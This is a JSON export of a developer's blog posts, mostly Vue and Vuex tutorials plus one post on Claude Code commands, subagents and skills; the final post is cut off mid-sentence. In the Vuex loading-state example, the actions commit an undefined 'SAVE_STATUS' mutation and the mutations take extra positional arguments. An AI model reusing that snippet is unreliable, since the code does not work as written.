[{"content":"","date":"7 January 2026","externalUrl":null,"permalink":"/tags/ai/","section":"Tags","summary":"","title":"Ai","type":"tags"},{"content":"There are a number of ways to augment AI to work the way that you want. I have been playing with three of them and seeing what the best way to use them is. Note: All of these work in Claude Code but maybe not in the console or on the website. But then again, I don\u0026rsquo;t use a lot of other tools at the moment, even for my notes. 1\nCommands # Commands are kind of like macros. They are basically a saved prompt that can take arguments and show up, at least in Claude Code, as slash commands. When you type a slash, you\u0026rsquo;ll get a bunch of built in slash commands that pop up, but you can also make your own.\nYou can do this by creating a .claude/commands folder in either your home directory (for global slash commands) or in the folder where you run claude. You then can define new commands by creating .md files in this folder.\nFor example, I have one in my personal notes that\u0026rsquo;s named save-daily-journal.md that contains:\n--- description: Save text to today\u0026#39;s daily journal entry allowed-tools: Bash(echo:*, wc -w:*), Write argument-hint: [minutes] [text] --- Save this content as today\u0026#39;s daily journal note. Use $1 as the minutes or ask the user how many minutes it took to write and save it as a standard daily note with relevant metadata. Word count the text and save that in the appropriate metadata. If there are triple blank lines in the pasted text, format them to one blank line: Everything under the --- metadata section is the prompt that will be used when you call /save-daily-journal. For the metadata, I defined description, which is used for the user to know what the command does, allowed-tools which allows this command to run these tools without asking for permission first, and arugment-hint which does two things; 1. gives the user an idea of how to use the command, and 2. lets Claude use arguments in the prompt macro. You\u0026rsquo;ll see there is a $1 in the prompt, that means use the first argument [minutes] in that spot in the prompt. You can also use $ARGUMENTS to use all of them. But I didn\u0026rsquo;t specify anything with [text] because Claude will also know that everything other than the first argument can just be used as part of the prompt.\nThese are really useful for little prompts that you run routinely. I have more information about daily journal entries in my CLAUDE.md, but this is all specific to importing text from another website I use and I don\u0026rsquo;t want to clog up context with the information for this specific process.\nSubagents # Defining subagents is more about creating a specific persona for performing certain kinds of tasks during a prompt. Common subagents would be things like code reviewers or line editors.\nYou can save subagents in the .claude/agents folder and these are also just .md files that define what that agent can do and a prompt that primes it. Instead of calling it directly though, Claude Code will look for places to use the agent as it works.\nFor example, here\u0026rsquo;s what a line editor subagent for a marketing team might look like in .claude/agents/line-editor.md:\n--- name: line-editor description: Edits marketing copy for clarity, tone, and brand voice when-to-use: After drafting or revising marketing content tools: [Read, Edit] --- You are a skilled line editor specializing in marketing content. Your goal is to refine copy while preserving the author\u0026#39;s voice and intent. When editing marketing materials: 1. Tighten verbose sentences and eliminate redundancy 2. Ensure consistent brand voice and tone 3. Check for clear calls-to-action 4. Verify claims are specific and credible 5. Polish for readability and flow 6. Flag jargon or unclear terms for general audiences Make direct edits to improve clarity and impact. Explain significant changes that alter meaning or strategy. The frontmatter section (between ---) defines metadata like the agent\u0026rsquo;s name, a description for the user, a hint to Claude on when it should use it, and what tools it has access to. The content below is the system prompt that defines the agent\u0026rsquo;s behavior and persona.\nYou don\u0026rsquo;t need to specify these agent to have them be used, but you still can. You can say \u0026ldquo;Use the line-editor subagent to review this document\u0026rdquo;. Claude Code will also use this subagent if the when-to-use is clearly defined and Claude sees that something it\u0026rsquo;s trying to do fits with the subagent\u0026rsquo;s definition.\nSkills # Skills is about building a little knowledge base that an AI can pull into its context if it finds itself working in an area of the skill. For our marketing centered example above, this could be something like Style Guidelines. These guidelines could be very large and loading them into Claude for every prompt would overload the context of the AI for no reason. But creating a Skill for this will allow the AI to select when and what it loads into context for the current tasks.\nSkills are not single files, but folders that contain many files that the AI can selectively use, including markdown files, code files and even scripts that the AI can run to perform a task.\nThese are structured as folders, something like .claude/skills/recurrent-style-guide. The main file is SKILL.md that will give a brief explanation to Claude about what the skill is and where to find more information.\nFor example, here\u0026rsquo;s what the main SKILL.md file might look like in .claude/skills/recurrent-style-guide/SKILL.md:\n--- name: style-guide description: Brand guidelines and style standards. Use when formatting images or text for posting to the website or social media accounts like Facebook, Instagram, or TikTok. --- # Recurrent Style Guide This skill contains comprehensive brand and style guidelines. Use these resources when creating or reviewing any branded materials. ## What\u0026#39;s Included - **Brand Colors** (`colors.md`) - Official color palette with hex codes, usage guidelines, and accessibility requirements - **Logo Guidelines** (`logo-usage.md`) - Logo variations, spacing rules, and prohibited uses - **Website Style** (`web-guidelines.md`) - Typography, layout patterns, and UI component standards for web properties - **Social Media** (`social-media.md`) - Platform-specific formatting, image dimensions, and voice guidelines - **Print Standards** (`print-guidelines.md`) - CMYK conversions, bleed requirements, and approved paper stocks - **Post Formatter** (`format-post.sh`) - Script to automatically format social media posts with proper hashtags and character limits ## When to Use This Skill - Designing new marketing materials - Creating social media content - Reviewing brand consistency - Formatting content for different channels - Updating website components ## Quick Reference **Primary Brand Colors:** - Blue: #3E83F9 - Green: #52bb6c - Yellow: #ffc936 - Light Blue: #88b1f6 **Fonts:** - Headings: Montserrat (weights 100-900) - Body: Poppins (weights 500-800) For detailed specifications, consult the individual guideline files listed above. The SKILL.md provides a map of the skill\u0026rsquo;s contents. When Claude needs specific information (like color codes for a web design task), it can selectively load just colors.md rather than the entire style guide.\nAlso here, the description is more for Claude this time. This is used to help Claude figure out when to load in this skill to help it find the information it needs.\nWhich one? # Each of these are extremely useful tools for slowly growing your AI use to work for you. Claude can help you create each one of these, so don\u0026rsquo;t fear that you\u0026rsquo;ll have to do them all yourself every time.\nAnthropic has a good rule of thumb on when to use each one of these. Here are their recommendations:\nUsing this tutorial, I use Claude Code for organizing and asking questions about my large collection of personal notes: https://www.theneuron.ai/explainer-articles/how-to-turn-claude-code-into-your-personal-ai-assistant\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"7 January 2026","externalUrl":null,"permalink":"/augment-your-ai/","section":"Posts","summary":"There are a number of ways to augment AI to work the way that you want. I have been playing with three of them and seeing what the best way to use them is. Note: All of these work in Claude Code but maybe not in the console or on the website. But then again, I don’t use a lot of other tools at the moment, even for my notes. 1\n","title":"Augment your AI","type":"posts"},{"content":"","date":"7 January 2026","externalUrl":null,"permalink":"/tags/claude/","section":"Tags","summary":"","title":"Claude","type":"tags"},{"content":"","date":"7 January 2026","externalUrl":null,"permalink":"/tags/claude-code/","section":"Tags","summary":"","title":"Claude Code","type":"tags"},{"content":"","date":"7 January 2026","externalUrl":null,"permalink":"/posts/","section":"Posts","summary":"","title":"Posts","type":"posts"},{"content":"","date":"7 January 2026","externalUrl":null,"permalink":"/tags/","section":"Tags","summary":"","title":"Tags","type":"tags"},{"content":"","date":"29 May 2021","externalUrl":null,"permalink":"/categories/","section":"Categories","summary":"","title":"Categories","type":"categories"},{"content":"","date":"29 May 2021","externalUrl":null,"permalink":"/categories/javascript/","section":"Categories","summary":"","title":"Javascript","type":"categories"},{"content":"","date":"29 May 2021","externalUrl":null,"permalink":"/categories/laravel/","section":"Categories","summary":"","title":"Laravel","type":"categories"},{"content":"","date":"29 May 2021","externalUrl":null,"permalink":"/categories/mvc/","section":"Categories","summary":"","title":"Mvc","type":"categories"},{"content":"I\u0026rsquo;ve spoken to a number of other developers about using Vue in applications that\u0026rsquo;s we\u0026rsquo;re single page applications but just standard MVC applications. Most of the time I get asked, \u0026ldquo;How would you do that?\u0026rdquo; So I finally sat down to explain how I do that.\nI made a video first, because I seem to think better in talking it out with a demo, so you can catch that here.\nThis application is a Laravel application, but it\u0026rsquo;s pretty standard setup for anything that you would be using in any kind of MVC or modern MVC framework, including Ruby on Rails or Django. I think a lot of what I am doing here is pretty easily applicable to something else, but you\u0026rsquo;ll have to figure out some of the specificson your own. I\u0026rsquo;ll try and use generic terms so that you can more easily transfer from one to the other.\nThe application that I\u0026rsquo;ve done this work on is a live site called Downtown, TX. This is an application I built for the state of Texas\u0026rsquo;s historical commission and it lets them manage historical properties in Texas. It\u0026rsquo;s a cool site if you want to check it out.\nBefore getting into Vue when I first created the site, I used a component library called Riot.js. Riot was nice because it let you build single components that you could then embed in any webpage that you wanted to without any kind of compile step or big Webpack setup. However, I\u0026rsquo;ve really gotten into Vue and I like the way Vue creates and manages their components.\nAnd so I\u0026rsquo;ve migrated a number of the original Riot components over to Vue, but Vue needs a little bit extra help. Vue components cannot just be put onto a webpage and have them run. They need cross compiled into a JavaScript version that a webpage can actually run. To do that, we\u0026rsquo;ve got some extra set up to do.\nVue Components # The first thing realize is, I write all of my components as single file components.\n\u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;document-preview\u0026#34;\u0026gt; ... \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; import { handleDelete } from \u0026#39;../../js/utils.js\u0026#39;; export default { name: \u0026#39;document-preview\u0026#39;, props: { ... }, data() { return { ... }; }, methods: { ... }, created() { ... }, }; \u0026lt;/script\u0026gt; Vue components aren\u0026rsquo;t JavaScript right out of the gate. It\u0026rsquo;s something that needs to be compiled into JavaScript, but there are compilers out there that will do this for us. So I write all of these components as just .vue components.\nThey have props, data, methods and lifecycle methods just like any other Vue components. So there\u0026rsquo;s nothing special here that is outside of what you would normally build for any Vue component, whether that\u0026rsquo;s in a single page application or not. If you do happen to build some components in a single page application, and you want to use them on a webpage, you can do that too. These are just standard Vue components.\nYou can also import other JavaScript libraries or utilities just as you normally would. In fact, there are a number of methods and exports that I was using in the Riot components that I just imported into the Vue components and used as is.\nThis is pretty standard JavaScript, so you won\u0026rsquo;t need to do anything special at this stage. You\u0026rsquo;re going to write your Vue components, just like you would any Vue component and you can unit test them just like you would any Vue component.\nLoader Scripts # Where we need to starting doing something a little bit different is in a Loader Script. I need a piece of JavaScript that I can use to load this component onto the page and I do that with what I\u0026rsquo;m calling a loader script.\nimport DocumentPreview from \u0026#39;../components/DocumentPreview.vue\u0026#39;; Vue.config.productionTip = false; new Vue({ components: { DocumentPreview }, }).$mount(\u0026#39;[data-vue-app=document-preview-component]\u0026#39;); Within my JavaScript assets folder where I keep all the JavaScript that needs cross compiled, I have a folder called loaders. Every component will get its own loader script that can be used to mount the component onto a webpage.\nThe first thing it does is import the component. Then I can set whatever configuration I want for Vue and finally I\u0026rsquo;m creating a new Vue object giving it the components that I want it to load and then telling it to mount onto any tag that has an attribute of data-vue-app where the value is document-preview-component. Each component get its own little tag like this.\nSo if this is included on a page and I have an HTML element with this attribute on it, this loader will find it and mount the imported component onto that element. This is the key to how these components work. Instead of a main.js that is loading an App component that includes every other Vue component you are using, these loaders load the components as they are need in the application.\nThis is pretty simple. All of these loaders look just like this. They pull in a component and they mount it on the page.\nJust a quick note on the new Vue syntax, I set this up before Vue 3 came out so this is using Vue 2 specifically. If you want to use Vue 3, this would be a little different.\nTemplate Partial # Next is to include these elements in a partial that I can use in the application\u0026rsquo;s templates:\n\u0026lt;div data-vue-app=\u0026#34;document-preview-component\u0026#34;\u0026gt; \u0026lt;document-preview data-url=\u0026#34;{{ $data_url }}\u0026#34; for=\u0026#34;{{ $for }}\u0026#34; reorder-url=\u0026#34;{{ route(\u0026#39;document.reorder\u0026#39; )}}\u0026#34; csrf-token=\u0026#34;{{ csrf_token() }}\u0026#34; delete-url=\u0026#34;{{ route(\u0026#39;documents.delete_session_document\u0026#39;, [\u0026#39;\u0026#39;]) }}\u0026#34; /\u0026gt; \u0026lt;/div\u0026gt; @push(\u0026#39;scripts\u0026#39;) \u0026lt;script src=\u0026#34;{{ mix(\u0026#39;js/document-preview.js\u0026#39;) }}\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; @endpush I\u0026rsquo;m using Laravel, so this is a Blade partial, but the basic building blocks are here. I have a div with the data-vue-app attribute on it that contains the component code. That component has attributes that link to the component\u0026rsquo;s props and are filled in with data from the MVC back-end, and finally there is a script tag to include the loader from the asset pipeline (the mix part).\nSo the partial is used to link the back-end data to the component\u0026rsquo;s props and then includes the component\u0026rsquo;s compiled code through the loader that I set up earlier. Fairly straightforward!\nPutting it all together # Three pieces here need to be built for each component. First the component, which is just a normal Vue component, then a loader JavaScript that includes the component and then mounts that component on the page, and then a partial, which is what your templates are going to use to include this component on a whatever page you want to include it on.\nThe partial is the piece that is actually a part of the MVC framework that you\u0026rsquo;re using. The other two are JavaScript pieces.\nWhy do we need the loader if the component is already JavaScript? Because the Vue component needs to be compiled and that needs to go through your asset pipeline (or whatever it might be called in your MVC framework). In Laravel, this is called Mix and it will compile any Vue component, ES6 JavaScript, TypeScript, Sass or other cross compile source code and drop it into the public folders for the browser to use. It looks something like this:\nmix /** * Vue components loaders go here */ .js(\u0026#39;resources/assets/vue/loaders/image-gallery.js\u0026#39;, \u0026#39;public/js\u0026#39;) .js(\u0026#39;resources/assets/vue/loaders/existing-image-preview.js\u0026#39;, \u0026#39;public/js\u0026#39;) .js(\u0026#39;resources/assets/vue/loaders/multi-document-upload.js\u0026#39;, \u0026#39;public/js\u0026#39;) .js(\u0026#39;resources/assets/vue/loaders/document-preview.js\u0026#39;, \u0026#39;public/js\u0026#39;) .js(\u0026#39;resources/assets/vue/loaders/multi-image-upload.js\u0026#39;, \u0026#39;public/js\u0026#39;) ... All I need to do is tell this to compile the loader. And then the loader includes the component and the component also gets compiled. And any other pieces that get pulled in by the component will get compiled as well. The loader then becomes the one piece that ties all of the JavaScript parts of this together and that\u0026rsquo;s why it\u0026rsquo;s important here.\nCommunication # Another question is can these components talk to each other? And they actually can. You could set up a Vuex store that you then can include on the loader, pass to the component, and then all the components that include that same store would all be sharing an instance of it and any data you put in there, all the components would have access to it. Even though they\u0026rsquo;re in their own little Vue context, they\u0026rsquo;re still within a shared JavaScript context. If you have your Vuex store set up as a const and you\u0026rsquo;re exporting it from a JavaScript file and you import it into your components, they will all have access to that same Vuex store. I\u0026rsquo;m also using a universal service bus that I can emit events on and listen to within the components. That way I actually have my Vue components talking to some of the legacy Riot components and could also talk to some other piece of JavaScript and they\u0026rsquo;re all using that same bus. Not only does that allow my Vue components to talk to other Vue components, but they can also talk to my Riot components and vice-versa. That made the transition to Vue very easy to do to because that kept everything seperate and encapsulated. This is the value of separated and isolated components when you build these applications.\nHopefully this is helpful enough for you to do this in your own application, if you need to. It\u0026rsquo;s worked great for me and allows me to progressively migrate more and more of my JavaScript code into isolated, encapsulated, and, yes, even tested Vue components.\n","date":"29 May 2021","externalUrl":null,"permalink":"/using-vue-in-non-spa/","section":"Posts","summary":"I’ve spoken to a number of other developers about using Vue in applications that’s we’re single page applications but just standard MVC applications. Most of the time I get asked, “How would you do that?” So I finally sat down to explain how I do that.\n","title":"Using Vue in a non-SPA","type":"posts"},{"content":"","date":"29 May 2021","externalUrl":null,"permalink":"/categories/vue/","section":"Categories","summary":"","title":"Vue","type":"categories"},{"content":"One of the things I\u0026rsquo;ve been wanting to talk about for a while are the different ways data can be managed in a Vue application. There\u0026rsquo;s always lots of discussions on forums about how data is managed and not a lot of diving into why you would pick one style over the other.\nSo I made some videos. I created an application in three different styles, modeled after the three main ways of managing data and data flow in Vue. They are:\nParent-child data flow Event Bus driven data flow Vuex Each application that we\u0026rsquo;ll look at does the exact same thing, search a database of books and returns information to the user. But how they do that function is very different when you dive into the code.\nMy expectation is that we are going to dive into these applications and see how they tick, how they compare to one another, and where their pitfalls are so that you can make an informed decision when building your application which style will work for you.\nThe first video is an introduction into the project:\nI have a project that handles data in a parent-child relationship. You\u0026rsquo;ll see this in the Vue documentation where they talk about how you pass properties from a parent down to a child using props and data flow from the child back up to the parent is handled via event emits. In this model, data is owned by the parent. Because of the props, if they change any of the data, that automatically gets populated down to a child. If a child wants to update the data, it has to emit an event to tell the parent to do it for it.\nNext is the Event Bus. The Event Bus flattens the hierarchy of components so that there really is no \u0026ldquo;parent\u0026rdquo; managing everything anymore, but the components themselves communicate via a central bulletin board of information.\nYou still have a main component, but it\u0026rsquo;s just there to organize the display of the other components. The other components talk to each other via emits on an Event Bus that they\u0026rsquo;re all listening on. The event bus is a publish-subscribe system where a component can tell the event bus, \u0026ldquo;Hey, this just happened to me. Let anyone else know who cares.\u0026rdquo; And also a component can register on that event bus to say, \u0026ldquo;Hey, I want to listen to this certain type of event. If this happens, let me know.\u0026rdquo; In this way, the components don\u0026rsquo;t know about each other at all. They only know about these events that they\u0026rsquo;re communicating with.\nIf you ever want to swap one component out for another, as long as they listen to and emit the same events, then everything will still continue to work.\nThe biggest pitfall is when you have a lot of events. That can get unwieldy on a very big application and documentation of those events becomes very important.\nFinally, we\u0026rsquo;ll take a look at Vuex. The components in the Vuex application connect to a Vuex store and can listen to certain state updates that might happen. The components can call on data from the Vuex store and call actions in Vuex to change that data. This acts much like the Event Bus, but uses reactive data instead of events.\nWe\u0026rsquo;re going to look at all of these different types of projects. They all look exactly the same in the browser. They all function exactly the same, except for the logic behind the scenes and how the data\u0026rsquo;s handled. So this should give a very clear idea of what the main differences are between them.\nAll of these projects contain the same components, in general, and they don\u0026rsquo;t change drastically from one project to the next. But what does change is where the responsibility lives for the data in the application. By looking closely at that and comparing and contrasting the different projects in future videos, we\u0026rsquo;ll get a clear understanding of how data in a Vue application flows and how best to decide what to use to get it to flow.\nAll of these projects are public as well, so feel free to grab the code and run it yourself. You can find them all at https://gitlab.com/clear-vue/vue-data-management-examples.\nAnd my YouTube playlist with all the videos is at https://www.youtube.com/playlist?list=PLH-eIKOTM8bXVqooVgPGuo0SXB4_zgpe4.\n","date":"12 May 2021","externalUrl":null,"permalink":"/data-management-vue-introduction/","section":"Posts","summary":"One of the things I’ve been wanting to talk about for a while are the different ways data can be managed in a Vue application. There’s always lots of discussions on forums about how data is managed and not a lot of diving into why you would pick one style over the other.\n","title":"Data Management in Vue: an introduction","type":"posts"},{"content":"","date":"12 May 2021","externalUrl":null,"permalink":"/categories/event-bus/","section":"Categories","summary":"","title":"Event Bus","type":"categories"},{"content":"","date":"12 May 2021","externalUrl":null,"permalink":"/categories/vuex/","section":"Categories","summary":"","title":"Vuex","type":"categories"},{"content":"","date":"12 May 2021","externalUrl":null,"permalink":"/categories/webdev/","section":"Categories","summary":"","title":"Webdev","type":"categories"},{"content":"There are times when building a Vue application that you realize that the standard parent-child model of intra-component communication just isn\u0026rsquo;t cutting it anymore. Everything gets too ridged and it gets harder and harder to add more layers to the application. Parent-child just doesn\u0026rsquo;t scale once you\u0026rsquo;re really working with a real-world project. Who is in control of the data when the components are nested five layers deep?\nOne way to handle this—coming along with its own pros and cons—is using an Event Bus.\nAn Event Bus is a PubSub object that allows the components to communicate via broadcast messages.\nIn other words, an Event Bus is like a Twitter stream where anyone can post messages and anyone can read those messages. More importantly, components only need to read the messages they really care about and can post messages without knowing who might want them. It allows your components to be decoupled from each other since they don\u0026rsquo;t talk directly to other components but instead communicate through well-documented (please make them well-documented) messages in the application.\nThe best way to create an Event Bus for your Vue application is to use the mitt pubsub library.\nWhy use mitt when I see everywhere people saying to use new Vue()? # Good question. The main reason why is that the methods needed for an event bus—on() and off()—are no longer supported in Vue 3. Also, using an empty Vue instance was always kind of a hack anyway. So we\u0026rsquo;re going to use a library that is custom built for just this purpose.\nAdding an Event Bus to a Vue application # First, you\u0026rsquo;ll want to install mitt via npm:\nnpm install --save mitt Then, create a service that creates an event bus for your components to use:\nimport mitt from \u0026#39;mitt\u0026#39;; const EventBus = mitt(); export default EventBus; And that\u0026rsquo;s it! When your component wants to communicate outside of itself, it just emits an event:\nimport EventBus from \u0026#39;../services/EventBus.js\u0026#39;; ... EventBus.emit(\u0026#39;book.added\u0026#39;, book); And other components can listen for new events on the same bus. This is usually done in the component\u0026rsquo;s mounted() method:\nimport EventBus from \u0026#39;../services/EventBus.js\u0026#39;; ... mounted() { EventBus.on(\u0026#39;book.added\u0026#39;, this.addBook); }, methods: { addBook(book) { this.book = book; } }, ... If your component is unloaded, you\u0026rsquo;ll have to manually unload the listeners too, or the event handlers will still be called. Like most things in programming, and in life, if you turn it on, you should turn it off.\nIn Vue 2, this will happen in the beforeDestroy lifecycle hook:\nbeforeDestroy() { EventBus.off(\u0026#39;book.added\u0026#39;, this.addBook); } And in Vue 3, it will happen in the beforeUnmount lifecycle hook:\nbeforeUnmount() { EventBus.off(\u0026#39;book.added\u0026#39;, this.addBook); } If you know you need an Event Bus, this is an easy way in Vue 2 and Vue 3 to set one up.\n","date":"6 April 2021","externalUrl":null,"permalink":"/creating-event-bus-vue/","section":"Posts","summary":"There are times when building a Vue application that you realize that the standard parent-child model of intra-component communication just isn’t cutting it anymore. Everything gets too ridged and it gets harder and harder to add more layers to the application. Parent-child just doesn’t scale once you’re really working with a real-world project. Who is in control of the data when the components are nested five layers deep?\n","title":"Creating an Event Bus in Vue","type":"posts"},{"content":"","date":"24 March 2021","externalUrl":null,"permalink":"/categories/components/","section":"Categories","summary":"","title":"Components","type":"categories"},{"content":"If you\u0026rsquo;ve used Vue for any length of time, you soon find that it doesn\u0026rsquo;t have a lot of the fancy formatting options that some of the other frameworks seem to have out of the box. I get the feeling that Vue is very focused on minimalism and adding features that aren\u0026rsquo;t core to the framework is not something they want to do. One of those features, however, is formatting dates.\nHave you ever had an ugly date from your data source formatted like \u0026quot;2019-07-16T20:32:21\u0026quot; and thought, \u0026ldquo;What\u0026rsquo;s the most straightforward way to make this not unreadable?\u0026rdquo;\nIf you\u0026rsquo;ve read my previous article on this—How to format dates in Vue 2—you know that I offered up the idea of using a Vue Filter to handle date formats. Well\u0026hellip;the folks over in the Vue world didn\u0026rsquo;t like filters very much and killed them off when developing Vue 3. So, we\u0026rsquo;ll have to find another way of handling this now.\nLuckily, there is an approach that we can take that will still give us most of what we want, using mixins, methods, and computed properties.\nA Simple Date Formatter for Vue 3 # First, specify a new Mixin in your code that will take a date string (preferably ISO formatted for maximum compatibility) and returns the date in the standard locale format as specified by Intl.DateTimeFormat:\nexport default { methods: { formatDate(dateString) { const date = new Date(dateString); // Then specify how you want your dates to be formatted return new Intl.DateTimeFormat(\u0026#39;default\u0026#39;, {dateStyle: \u0026#39;long\u0026#39;}).format(date); } } } Then you can include that mixin in your component and either use it in a computed property or use it right in your template:\n\u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;p\u0026gt; {{ formattedDate }} \u0026lt;/p\u0026gt; \u0026lt;p\u0026gt; {{ formatDate(\u0026#39;2021-09-01T00:00:00-0400\u0026#39;) }} \u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; import formatDateMixin from \u0026#39;../mixins/formatDateMixin.js\u0026#39;; export default { data() { return { date: \u0026#39;2021-03-24T15:54:32-0400\u0026#39; } }, mixins: [formatDateMixin], computed: { formattedDate() { return this.formatDate(this.date); } } } \u0026lt;/script\u0026gt; More Power! # Need something a little more powerful? Including Day.js1 will give us what we need to format dates however we want. You can install it into your project with npm install dayjs.\nNow, we can make our mixin into something like this:\nimport dayjs from \u0026#39;dayjs\u0026#39;; export default { methods: { formatDate(dateString) { const date = dayjs(dateString); // Then specify how you want your dates to be formatted return date.format(\u0026#39;dddd MMMM D, YYYY\u0026#39;); } } } Use it the same way you used the other one.\nDay.js has a lot of formatting options to choose from and can even do time from now type dates with an extra plugin.\nSo while Vue 3 got rid of filters, there are still easy ways to include date formatting in your application.\nCheck out this post\u0026rsquo;s code in this Repl\nWhy Day.js and not Moment? Because Moment is trying to direct users towards better, lighter weight libraries. And Dayjs is only ~2kb and will give us what we need here.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"24 March 2021","externalUrl":null,"permalink":"/how-to-format-dates-in-vue-3/","section":"Posts","summary":"If you’ve used Vue for any length of time, you soon find that it doesn’t have a lot of the fancy formatting options that some of the other frameworks seem to have out of the box. I get the feeling that Vue is very focused on minimalism and adding features that aren’t core to the framework is not something they want to do. One of those features, however, is formatting dates.\n","title":"How to format dates in Vue 3","type":"posts"},{"content":"","date":"23 March 2021","externalUrl":null,"permalink":"/categories/beginner/","section":"Categories","summary":"","title":"Beginner","type":"categories"},{"content":"You might have heard the term \u0026ldquo;service\u0026rdquo; in relation to a Vue application. But looking through the Vue documentation, you might find that there isn\u0026rsquo;t any mention of what a service is at all.\nSo when someone says \u0026ldquo;Just put that in a service\u0026rdquo;, what is that supposed to mean and what are you supposed to do about it?\nWhat is a service? # When someone mentions adding a service to an application, that just means that you are going to create a JavaScript file that will export something for you to use in your application. This could be something that calls an API or formats dates or does some other focused piece of functionality for your application. And that\u0026rsquo;s all it does, focus is the key here.\nWhere to put services # Where do we put our services? I like to put them in a directory right next to the component directory and call it services.\n📂 src/ ⤷ components/ ⤷ services/ Service examples # What goes into a service is usually based on what you need that service to do. If it\u0026rsquo;s a simple function, you can create a file that exports the function:\nexport function formatErrors(errors) { const formattedErrors = {}; errors.forEach(error =\u0026gt; { if(! formattedErrors[error.field.name]) { formattedErrors[error.field.name] = []; } formattedErrors[error.field.name].push({ message: error.message, link: error.moreInfoUrl }); }); return formattedErrors; } Then import it into your component or other Vue script, with this:\n\u0026lt;script\u0026gt; import { formatErrors } from \u0026#39;../services/formatErrors.js\u0026#39;; export default { ... computed: { formattedErrors() { return formatErrors(this.errors); } } ... } Now you can write unit tests for that method easily and use it in all the components that might need it.\nWhat about an API? Many APIs have multiple ways of interacting with it, so one function won\u0026rsquo;t be enough. But you can group your API calls into an object that you can use for all of the functions:\nimport axios from \u0026#39;axios\u0026#39;; axios.defaults.withCredentials = true; export default { getCluster(id) { return axios.get(\u0026#39;/api/cluster/\u0026#39; + id).then((response) =\u0026gt; { return response.data; }); }, addCluster(name) { return axios.put(\u0026#39;/api/cluster\u0026#39;, { name: name }).then((response) =\u0026gt; { return response.data; }); } }; Now you can use this export in your code:\nimport ClusterApi from \u0026#39;../services/ClusterApi.js\u0026#39;; export default { ... mounted() { ClusterApi.getCluster(window.location.href.split(\u0026#39;/\u0026#39;).pop()).then( (cluster) =\u0026gt; { this.points = cluster.places.map((place) =\u0026gt; { return { lng: place.location.coordinates[0], lat: place.location.coordinates[1], }; }); } ); }, ... }; So that\u0026rsquo;s what services are, focused pieces of reusable and testable code that you can use across your application. There\u0026rsquo;s nothing above that\u0026rsquo;s specifically a Vue concept, but thinking of any logic in your application as a collection of services can help you structure everything in a more maintainable way.\n","date":"23 March 2021","externalUrl":null,"permalink":"/what-are-services-vue/","section":"Posts","summary":"You might have heard the term “service” in relation to a Vue application. But looking through the Vue documentation, you might find that there isn’t any mention of what a service is at all.\n","title":"What are services in Vue?","type":"posts"},{"content":"One of the best ways to improve the user experience in a dynamic application is by setting up loading icons for data coming into your Vuex store. But if you\u0026rsquo;ve ever tried to set this up on a page with a lot of components that are loading different dynamic data. How do you show the user that data is being loaded when that data might be coming from different, parallel API calls?\nYour first attempt might be to have a loading value in your Vuex store that you set to true when you are loading in data and false once the data is loaded. But that quickly becomes not good enough once you are loading in multiple calls.\nAnd there are a number of other schemes that just don\u0026rsquo;t cut it either. Things like incrementing a loading count or checking to see if data is filled in or not\u0026ndash;which I do talk about in How to show a loading icon before data is loaded in Vue and Vuex but is only reliable in simple data loads. All of these have edge cases that pop up and ruin things at some point.\nUsing a status map # A better way to handle this is to use a status map within Vuex (assuming Vuex is where you are making the API calls, as described in How to query your API using Vuex in your Vue application).\nA status map is an object in your Vuex store that you use to keep metadata information about the data that you\u0026rsquo;ve loaded, the state of it, and any other information that you want to keep track of for it. By having a single source for this information, you\u0026rsquo;ll have a one stop location for all of your components to get updates on the current status of the data they care about. I\u0026rsquo;m going to show this with a loading status for the data, and an error status.\nYou can set this up in your Vuex state with:\nstate: { posts: [], users: [], status: { users: { loading: false, error: false }, posts: { loading: false, error: false } } }, You can then set statuses in a mutation, just like we would any dynamically loaded data. Here\u0026rsquo;s what that would look like for the users state:\nmutations: { SAVE_USERS(state, users) { state.users = users; }, SAVE_LOADING(state, dataName, status) { // create a property in status state.status[dataName].loading = status; }, SAVE_ERROR(state, dataName, status) { // create a property in status state.status[dataName].error = status; } }, actions: { loadUsers({commit}) { commit(\u0026#39;SAVE_STATUS\u0026#39;, \u0026#39;users\u0026#39;, true); Vue.axios.get(\u0026#39;users\u0026#39;).then(result =\u0026gt; { commit(\u0026#39;SAVE_USERS\u0026#39;, result.data); commit(\u0026#39;SAVE_STATUS\u0026#39;, \u0026#39;users\u0026#39;, false); }).catch(error =\u0026gt; { commit(\u0026#39;SAVE_ERROR\u0026#39;, \u0026#39;users\u0026#39;, true); commit(\u0026#39;SAVE_STATUS\u0026#39;, \u0026#39;users\u0026#39;, false); throw new Error(`API ${error}`); }); } } With these statuses set, we can now use them in our component. If we have a component that uses users and posts, for example, we could add this if to the loader:\n\u0026lt;div v-if=\u0026#34;$store.state.status.users.loading || $store.state.status.posts.loading\u0026#34;\u0026gt; \u0026lt;img src=\u0026#34;./../assets/loading icon.png\u0026#34;\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;table class=\u0026#34;users\u0026#34; v-else\u0026gt; \u0026lt;!-- data display once the data is loaded --\u0026gt; \u0026lt;/table\u0026gt; The above will only show the table once the users and posts loading statuses are both false. And you can set up the same sort of logic for showing an error status as well.\nThis way of handling statuses are something I found by looking at how Vue Apollo handles loading state and realized that the same thing could be used for Vuex as well. It makes is super easy for a component to watch for the data that it cares about only.\nTry this out and see if it doesn\u0026rsquo;t make handling loading states a lot easier.\n","date":"13 March 2021","externalUrl":null,"permalink":"/how-maintain-multiple-loading-states-in-vuex/","section":"Posts","summary":"One of the best ways to improve the user experience in a dynamic application is by setting up loading icons for data coming into your Vuex store. But if you’ve ever tried to set this up on a page with a lot of components that are loading different dynamic data. How do you show the user that data is being loaded when that data might be coming from different, parallel API calls?\n","title":"How do you maintain multiple loading states in Vuex?","type":"posts"},{"content":"Recently, I was wanting to try out some of the functions in Lodash to see how they worked. I went to Repl.it at first because that\u0026rsquo;s been my go-to sandbox to play around in. But Repl.it, as nice as it is, is a little too big for a quick script to play around in.\nBut that\u0026rsquo;s when I found RunJS - A playground for JavaScript and TypeScript. This little application (for Windows, Mac, and Linux) lets you run a full Node environment with NPM support in a small, clean application. It\u0026rsquo;s the reason why Why does changing my copy change the original! has a YouTube video with it. This app makes is really easy to install a 